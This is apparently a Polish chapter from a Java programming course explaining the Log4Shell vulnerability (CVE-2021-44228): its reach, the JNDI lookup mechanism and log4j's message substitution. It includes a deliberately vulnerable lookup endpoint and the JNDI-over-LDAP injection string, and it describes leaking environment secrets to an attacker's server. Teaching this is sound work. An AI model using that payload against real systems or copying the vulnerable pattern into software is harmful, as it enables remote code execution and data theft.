7.1 Skandal
I oczywiście nie sposób nie opowiedzieć o historii, która wydarzyła się całkiem niedawno - pod koniec 2021 roku.
Amerykańska Agencja ds. Cyberbezpieczeństwa i Ochrony Infrastruktury (CISA) stwierdziła, że problem Log4Shelljest jedną z najpoważniejszych luk w historii. Tak, mówimy o naszej ulubionej bibliotece log4j.
Nasza przytulna mała biblioteka log4j i największa słabość w historii ? Zaintrygowany? Potem słuchaj.
7.2 Skala katastrofy
Odkrycie krytycznej luki Log4Shell(kod CVE-2021-44228) zostało ogłoszone 9 grudnia 2021 roku przez ekspertów bezpieczeństwa Lunasec. Eksperci ze społeczności Apache Security Team Java zweryfikowali te informacje i opublikowali listę wrażliwych bibliotek Java. Lista była po prostu ogromna.
Jeśli projekt Java korzystał z biblioteki log4j, można go dość łatwo zhakować. A biorąc pod uwagę, że prawie całe oprogramowanie serwerowe jest napisane w Javanajpopularniejszym log4jrejestratorze Java, według ekspertów ds. bezpieczeństwa luka w zabezpieczeniach dotknęła 93% korporacyjnych środowisk chmurowych. W tym Amazon AWS, Microsoft Azure, Google Cloud, Cloudflare, iCloud, Minecraft, Steam i wiele innych
Co więcej, luka dotyczyła nie tylko oprogramowania serwerowego, ale także wielu aplikacji Java, a także producentów sprzętu. Na przykład Intel opublikował listę 32 programów, które można zhakować: SDK, systemy konserwacji serwerów, narzędzia Linux.
Nvidia opublikowała również raport dotyczący problemów z bezpieczeństwem, w którym wspomniał o serwerach DGX i narzędziach NetQ. Apple i Microsoft wydały w trybie pilnym szereg aktualizacji.
Z grubsza mówiąc, jedna linia w pasku adresu przeglądarki ucznia umieszcza serwer, jeśli ta linia zostanie zjedzona przez logger (na wielu serwerach wszystko jest logowane HTTP-requests).
Po przeanalizowaniu kodu okazało się, że luka znajdowała się w bibliotece od 2013 roku, ale zauważono ją dopiero teraz. A kiedy zaczęli kopać głębiej, odkryli otchłań, której dna w ogóle nie widać.
7.3 Najpoważniejsza luka w historii
Jeszcze w grudniu 2021 roku amerykańska Agencja ds. Cyberbezpieczeństwa i Ochrony Infrastruktury (CISA) stwierdziła , że Log4Shelljest to jedna z najpoważniejszych luk w historii .
Podobnego zdania jest wielu innych ekspertów . Wszyscy wiedzą o tej luce, a hakerzy w każdym wieku już ją wykorzystują do kradzieży danych osobowych i innych rodzajów ataków na różne organizacje. W przyszłości czeka nas fala masowych włamań i wycieków danych.
Skalę katastrofy można ocenić choćby po tym, że istnieje osobna strona z memami o Log4j i codziennie pojawiają się nowe obrazki.
Ten problem towarzyszy nam od dawna. Luka w zabezpieczeniach milionów, jeśli nie setek milionów systemów komputerowych. Całe stare oprogramowanie musi zostać zaktualizowane i przynajmniej wymienić tam tę bibliotekę. Ale w większości przypadków nikt nawet nie wie, które biblioteki i które wersje są używane w ich oprogramowaniu.
Ogólnie spodziewamy się gwałtownego wzrostu wynagrodzeń specjalistów ds. bezpieczeństwa komputerowego.
7.4 Charakter podatności
Aby zrozumieć istotę luki, musisz zrozumieć, jak rozmieszczone są duże systemy serwerowe. Często takie aplikacje serwerowe są podzielone na różne usługi, które znajdują się na różnych serwerach. A usługa JNDI pomaga im w interakcji.
Java Naming and Directory Interface (JNDI) służy Java APIdo wyszukiwania obiektów/usług według nazwy. Obiekty te mogą być przechowywane w różnych usługach nazewniczych lub katalogach, takich jak Remote Method Invocation (RMI), Common Object Request Broker Architecture (CORBA), Lightweight Directory Access Protocol (LDAP) lub Domain Name Service (DNS).
Praca z nim jest bardzo prosta - jest prosta i Java APIpobiera tylko jeden parametr łańcuchowy - nazwę usługi. Dzięki niemu możesz skontaktować się z dowolnym serwisem i poprosić go o zrobienie czegoś i/lub przesłanie jakichś danych. Na przykład string ${jndi:ldap://example.com/file}załaduje dane z tego URLokreślonego w ciągu.
Jeśli parametr pochodzi z niezaufanego źródła, może to prowadzić do zdalnego załadowania klasy i wykonania kodu innej firmy . Co się dzieje w przypadku Log4j. Atakujący po prostu kieruje aplikację Java ofiary do złośliwej aplikacji rmi/ldap/corba-serveri otrzymuje w odpowiedzi szkodliwy obiekt.
Technicznie rzecz biorąc, problem nie leży w log4jsamej bibliotece, ale w ustawieniach bezpieczeństwa podczas pracy z plikami JNDI-service. Zawsze trzeba sprawdzić, do jakiego rodzaju ciągu znaków przekazujemy InitialContext.lookup().
Podatny przykład JNDI-applications:
@RequestMapping("/lookup")
@Example(uri = {"/lookup?name=java:comp/env"})
public Object lookup(@RequestParam String name) throws Exception{
return new javax.naming.InitialContext().lookup(name);
}
7.5 Zbyt inteligentna biblioteka
A gdzie log4jpytasz? Chodzi o to, że jego twórcy chcieli, aby praca z nim była jak najbardziej komfortowa i dodali do niego inteligentne logowanie. Oto jak to działa:
Wszystko zaczęło się od tego, że komunikaty w logach pozwalały na ustawienie szablonu, w którym dane były zastępowane, np.:
log.debug(“User {user} has {count} friends”, user, count);
Stara wersja bez podstawiania danych wyglądała tak:
log.debug( “User “+user +” has “+ count +” friends”);
W 2013 roku do biblioteki dodano również zastępowanie inteligentnych przedrostków określonych przez szablon widoku ${prefix:name}. Na przykład ciąg “${java:version}”zostanie przekonwertowany na «Java version 1.7.0_67». Och, jakie to wygodne.
Wśród rozpoznawanych wyrażeń są ${jndi:<lookup>}takie, w których po protokole jndi można określić przeszukiwanie LDAP: arbitralne URL-addressmożna przeszukiwać i ładować jako dane obiektowe Java.
Jest to standardowy problem całego podejścia JDK: automatycznie deserializuje obiekt, do którego link można ustawić w postaci adresu URL. W tym przypadku ze zdalnego zasobu ładowane są nie tylko dane obiektu, ale także kod jego klasy.
Hack wygląda tak:
- Pobieranie pliku ze złośliwym kodem
- Plik zawiera serializowany
Java an object(i jego klasę) - Trwa ładowanie klasy
Java-machine - Tworzony jest obiekt złośliwej klasy
- Konstruktor obiektu jest wywoływany
- Zarówno inicjalizacja konstruktora, jak i inicjalizacja statyczna umożliwiają wykonanie złośliwego kodu klasy
Jeśli w linii, która jest logowana , log4jjest coś takiego , to pobierze z niej dane podczas łączenia się z Internetem . Wprowadzając zarejestrowany ciąg, osoba atakująca może pobrać i wykonać złośliwy kod hostowany na publicznym serwerze .${jndi:ldap://example.com/file}log4jURL-addressURL-address
Nawet jeśli wykonywanie danych jest wyłączone, atakujący może uzyskać dane, takie jak tajne zmienne środowiskowe, umieszczając je w pliku URL-address, który je zastąpi i wyśle na serwer atakującego.
Dobra wiadomość jest taka, że problem został szybko rozwiązany w bibliotece .
Zła wiadomość jest taka, że na milionach serwerów na całym świecie nadal działa stara wersja tej biblioteki …
GO TO FULL VERSION